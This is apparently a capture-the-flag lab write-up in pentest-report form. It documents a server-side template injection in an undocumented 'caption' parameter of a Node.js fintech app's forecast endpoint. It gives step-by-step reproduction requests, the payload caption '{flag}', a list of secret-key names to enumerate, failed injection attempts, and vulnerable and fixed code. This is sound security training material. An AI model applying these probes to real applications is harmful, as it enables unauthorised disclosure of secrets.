BugForge — 2026.07.14

Shady Oaks Financial: Server-Side Template Injection via Undocumented Parameter

BugForge Server-Side Template Injection (Undocumented Parameter) easy

Part 1: Pentest Report

Executive Summary

Shady Oaks Financial is a European fintech single-page application (React + MUI) backed by a Node.js/Express JSON API, using JWT HS256 bearer tokens for authentication. Testing found one confirmed vulnerability: the forecast endpoint renders a user-supplied caption string as a server-side template against an internal context object that includes the flag, allowing any authenticated user to disclose it with a single request.

Testing confirmed 1 finding:

ID Title Severity CVSS CWE Endpoint
F1 Server-side template injection via undocumented caption parameter Medium 6.5 CWE-1336, CWE-134, CWE-200 POST /api/forecast/indicator

The caption parameter is not exposed by the frontend, which never sends it. The server nonetheless renders any caption value a client submits as a single-brace {key} template, resolving keys against a context object that includes the flag. A freshly registered low-privilege account (role=user, is_premium=1 by default) can read the flag by sending caption:"{flag}", with no privilege escalation and no victim interaction.


Objective

Assess the Shady Oaks Financial web application from an unauthenticated starting position and recover the flag (BugForge easy lab, solo engagement).


Scope / Initial Access

# Target Application
URL: https://lab-1783878174911-rxoof1.labs-app.bugforge.io/

# Auth details
# Open self-registration via POST /api/register mints a JWT immediately.
# Token: JWT HS256, payload {id, username, role, iat}, stored in localStorage,
# sent as Authorization: Bearer.
# A fresh account starts as role=user with is_premium=1 (default).

Registration is open and returns a usable session token in the response body, so any attacker can obtain an authenticated role=user account without approval.


Reconnaissance: mapping the API from the exposed source map and response envelopes

The client is a React/MUI single-page application that shipped with its source map (main.799d296b.js.map), which exposed the client routes and the API surface directly. From there the API was mapped by registering an account, exercising each endpoint, and diffing the full response envelopes against the fields the client actually consumes.

  1. The SPA bundle shipped with its source map, exposing client routes and the full API surface without guesswork.
  2. Authentication is JWT HS256 held in localStorage and sent as Authorization: Bearer; the payload is {id, username, role, iat}, and a freshly registered account is role=user.
  3. Registration returns a user object with is_premium:1 by default, so the premium Forecast feature is reachable by any account with no privilege escalation.
  4. Admin endpoints return 403 "Admin access required" with a user token and 401 when anonymous, so role is enforced server-side; the client /admin route gate is not an access boundary.
  5. The forecast endpoint POST /api/forecast/indicator accepts a formula field evaluated server-side, and its response carries a caption:"{value}" field that the frontend never sends: a server-attached template placeholder returned un-substituted.

Observation 5 was the pivot. A response field the client never populates, containing a template-looking string, is the tell that motivated the finding below.


Application Architecture

Component Detail
Backend Node.js / Express; JSON responses; weak (W/) ETags
Frontend React + MUI single-page application; source map exposed
Auth JWT HS256 in localStorage, Authorization: Bearer; session bootstrap via GET /api/verify-token
Database Not directly observable from the client; the app exposes stock records (ids 1-5) and per-user EUR/USD/GBP balances

API Surface

Endpoint Method Auth Notes
/api/register POST None Mints JWT; accepts full body
/api/login POST None Mints JWT
/api/forgot-password POST None Password reset request
/api/reset-password POST None (reset token) Password reset
/api/verify-token GET Bearer Session bootstrap
/api/profile GET / PUT Bearer Profile read / update
/api/portfolio GET Bearer User portfolio
/api/portfolio/share POST Bearer Returns share_token (UUIDv4)
/api/public/portfolio/:token GET None (token) Public portfolio view
/api/forecast/indicator POST Bearer F1: caption template injection
/api/admin/stats GET Bearer + role=admin 403 user / 401 anon
/api/admin/users GET Bearer + role=admin 403 user / 401 anon
/api/admin/transactions GET Bearer + role=admin 403 user / 401 anon
/api/admin/stocks/:id/trend PUT Bearer + role=admin Role-gated

Known Users

Username ID Role
dtooth_t1 (our test account) 4 user

Attack Chain Visualization

┌──────────────────┐   ┌───────────────────────┐   ┌────────────────────────┐   ┌───────────────────────┐
│ Register account │   │ POST forecast/        │   │ Send user-controlled   │   │ caption = "{flag}"    │
│ (open signup)    │──▶│ indicator; response   │──▶│ caption; {value}       │──▶│ server resolves key   │
│ JWT role=user    │   │ echoes caption:       │   │ resolves to computed   │   │ and returns the flag  │
│ is_premium=1     │   │ "{value}" (FE never   │   │ number (server-side    │   │ bug{...}              │
│                  │   │ sends caption)        │   │ substitution)          │   │                       │
└──────────────────┘   └───────────────────────┘   └────────────────────────┘   └───────────────────────┘

Findings

F1: Server-side template injection via undocumented caption parameter

Severity: Medium CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) CWE: CWE-1336 (Improper Neutralization of Special Elements Used in a Template Engine), CWE-134 (Use of Externally-Controlled Format String), CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) Endpoint: POST /api/forecast/indicator Authentication required: Yes (any registered user)

Severity rationale: The vector above uses PR:L because a registered account is required, computing to 6.5, and the finding is rated Medium to match. Because self-registration is open and grants that account for free, treating it as no real barrier (PR:N) yields 7.5 (High); that is the more representative figure for real-world exposure, since any attacker can obtain the account with no approval. In the CTF-objective frame, where the disclosed context key is the designated flag, reading it is the engagement objective.

Description

The forecast endpoint accepts a formula field (evaluated server-side) and returns a caption field. By default the response contains caption:"{value}", a placeholder the frontend never submits and renders client-side. When a client instead submits its own caption string, the server renders it as a single-brace {key} template and resolves each {key} against an internal context object. That context object includes the flag key (the tested keys price, secret, and username were absent). There is no allowlist restricting which keys a caption may reference, so a caption of {flag} resolves to the flag value. Genuine context lookup (rather than plain reflection) is confirmed by selective resolution: keys present in the context resolve to their values, unknown keys pass through literally, and a double brace {{value}} collapses to {42}.

Impact

Any authenticated low-privilege user can read any key present in the forecast template context, including the flag, with a single request.

Reproduction

Step 1: Register an account and capture the token

POST /api/register HTTP/2
Host: lab-1783878174911-rxoof1.labs-app.bugforge.io
Content-Type: application/json

{"username":"dtooth_t1","email":"[email protected]","password":"Passw0rd!23","full_name":"D Tooth"}

Response:

{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...","user":{"id":4,"username":"dtooth_t1","email":"[email protected]","full_name":"D Tooth","balance_eur":1000,"balance_usd":0,"balance_gbp":0,"role":"user","is_premium":1}}

The response mints a JWT and shows role:"user" with is_premium:1, so the premium Forecast feature is reachable immediately.

Step 2: Baseline forecast request (no caption sent)

POST /api/forecast/indicator HTTP/2
Host: lab-1783878174911-rxoof1.labs-app.bugforge.io
Authorization: Bearer <JWT (role=user)>
Content-Type: application/json

{"stock_id":1,"formula":"max(1,2)"}

Response:

{"stock":{"id":1,"symbol":"OAKLEAF","name":"Oakleaf Holdings"},"formula":"max(1,2)","value":2,"caption":"{value}"}

The server returns caption:"{value}" un-substituted even though the request never sent a caption. This is a server-attached template placeholder.

Step 3: Confirm server-side substitution and selective key resolution

Submitting a user-controlled caption shows the server rendering it against a context object. The observed behavior across caption inputs (all sent with formula:"7*6", so {value} resolves to 42):

caption sent server returns interpretation
{value} 42 key present in context, resolves to the computed value
{price}, {secret}, {username} returned literally keys absent from context, pass through
{{value}} {42} single-brace replacement, outer braces remain

Known keys resolve while unknown keys pass through verbatim. That selectivity confirms genuine context lookup, not reflection of the submitted string.

Step 4: Disclose the flag

POST /api/forecast/indicator HTTP/2
Host: lab-1783878174911-rxoof1.labs-app.bugforge.io
Authorization: Bearer <JWT (role=user)>
Content-Type: application/json

{"stock_id":1,"formula":"7*6","caption":"{flag}"}

Response:

{"stock":{"id":1,"symbol":"OAKLEAF","name":"Oakleaf Holdings"},"formula":"7*6","value":42,"caption":"bug{hLGMgAY1j6z5QRom0jNhmQZ2ko0u7Gj6}"}

The caption field returns bug{hLGMgAY1j6z5QRom0jNhmQZ2ko0u7Gj6}. The value was not in the request; the server resolved {flag} from its context.

Remediation

Fix 1: Restrict the template to an allowlist of presentation keys and keep secrets out of the render context

// BEFORE (Vulnerable)
// Renders a user-supplied caption against the entire context object,
// which includes secrets such as `flag`.
function renderCaption(caption, context) {
  return caption.replace(/\{(\w+)\}/g, (match, key) =>
    key in context ? context[key] : match
  );
}

const context = { value: computed, flag: process.env.FLAG /* ...secrets... */ };
res.json({ /* ... */, caption: renderCaption(req.body.caption ?? '{value}', context) });

// AFTER (Secure)
// Only a fixed allowlist of presentation keys is available to the template,
// and the render context never contains secrets.
const ALLOWED_KEYS = ['value', 'symbol', 'name'];

function renderCaption(caption, view) {
  return caption.replace(/\{(\w+)\}/g, (match, key) =>
    ALLOWED_KEYS.includes(key) ? String(view[key]) : match
  );
}

const view = { value: computed, symbol: stock.symbol, name: stock.name };
res.json({ /* ... */, caption: renderCaption(req.body.caption ?? '{value}', view) });

Additional recommendations:

  • Never render a user-controlled string against an object that also holds secrets; keep the presentation view model separate from server secrets.
  • If captions are purely presentational, drop server-side rendering and let the client format {value} locally.
  • Validate request bodies against a schema so undocumented fields such as caption are rejected rather than silently processed.
  • Enforce the premium entitlement server-side so premium features are not reachable by default free accounts, and treat inputs to any premium or gated feature as untrusted.

OWASP Top 10 Coverage

  • A03:2021 Injection: The caption parameter is a user-controlled string rendered as a server-side template against an internal context object, with no neutralization or key allowlist.
  • A01:2021 Broken Access Control: A freshly registered account carries is_premium:1 by default, exposing the premium Forecast feature (and its vulnerable endpoint) to every free user, and the template context discloses the flag to any authenticated user.
  • A04:2021 Insecure Design: An undocumented input the frontend never sends is wired to render against a raw context object that includes secrets, sitting beside a deliberately hardened decoy parser.

Tools Used

Tool Purpose
curl Direct HTTP requests and response capture
Firefox Developer Tools SPA reconnaissance; reading the exposed source map
Manual JWT decode Inspecting the HS256 token payload (id, username, role, iat)

References


Part 2: Notes / Knowledge

Key Learnings

  • Treat any response field the frontend never sends as an undocumented user-controllable input, and test sending it back. The frontend’s field list is not the API’s input list. Here the forecast response carried a caption:"{value}" field the React client never populates or submits; sending it back with attacker-chosen content was the entire solve. Diff the full response envelope against the fields the client actually consumes, and for every extra field (config echoes, template-looking strings, defaulted flags) send it in the request and watch whether the server processes it by substituting, evaluating, storing, or reflecting. Developers routinely leave server-side sinks wired to inputs the UI never exercises.

  • When a bespoke evaluator proves hardened, don’t declare the feature clean: attack its sibling parameters on the same endpoint. A deliberately hardened primary parser draws attention away from a softer adjacent input in the same handler. The forecast endpoint’s formula field was a whitelist recursive-descent math parser that rejected 2**3, property access, quotes, and every process or constructor gadget, so the code-execution branch was closed. The flag lived in the caption parameter accepted by the same request. When the obvious injection surface locks down, pivot to the other parameters the same handler accepts (caption, label, title, format, template fields) and test them for a different injection class. A safe parser next to a soft sibling field is a common split.

  • When a user-controllable string is rendered as a {key} / {{ }} template against server context, enumerate secret-bearing keys and use selective resolution to confirm it’s real. Once a field you control comes back with brace tokens substituted, enumerate secret keys such as {flag}, {secret}, {token}, {password}, {env}, and {config}. The proof that you have a genuine context lookup rather than plain reflection is selective resolution: keys present in the context resolve to values while unknown keys pass through literally, and a double brace collapses to a single one. In this lab {value} resolved to the computed number and {flag} to the flag, while {price}, {secret}, and {username} came back verbatim and {{value}} became {42}. That selectivity distinguishes a template rendered against an internal object (which over-exposes whatever keys it holds) from a harmless echo.


Failed Approaches

Approach Result Why It Failed
formula expression injection for code execution (2**3, 2^3, Math.PI, Math.max(1,2), "7"+6, process, constructor, cos.constructor) All rejected with parser errors (“Unexpected token”, “Invalid character”, “Unknown variable”) formula is a hardened whitelist recursive-descent parser (price/sma/ema/min/max/avg only); no eval or mathjs, so no code-execution path
Direct admin access with the user token (GET /api/admin/users, /stats, /transactions) 403 "Admin access required" (401 when anonymous) Admin authorization is enforced server-side; the client-only /admin route gate is not a real access boundary
Enumerate a shared portfolio (GET /api/public/portfolio/:token) share_token is a UUIDv4 Not brute-enumerable; no IDOR on the token
JWT forge to role=admin (alg:none / weak secret / algorithm confusion) Not pursued Untested lead; the flag was obtained via the caption sink first
Mass assignment of role / is_premium / balance on POST /api/register or PUT /api/profile Not pursued Untested lead; the disclosure did not require privilege escalation

Tags: #ssti #template-injection #format-string #information-disclosure #bugforge #webapp Document Version: 1.0 Last Updated: 2026-07-14

#ssti #template-injection #format-string #information-disclosure #nodejs #express #bugforge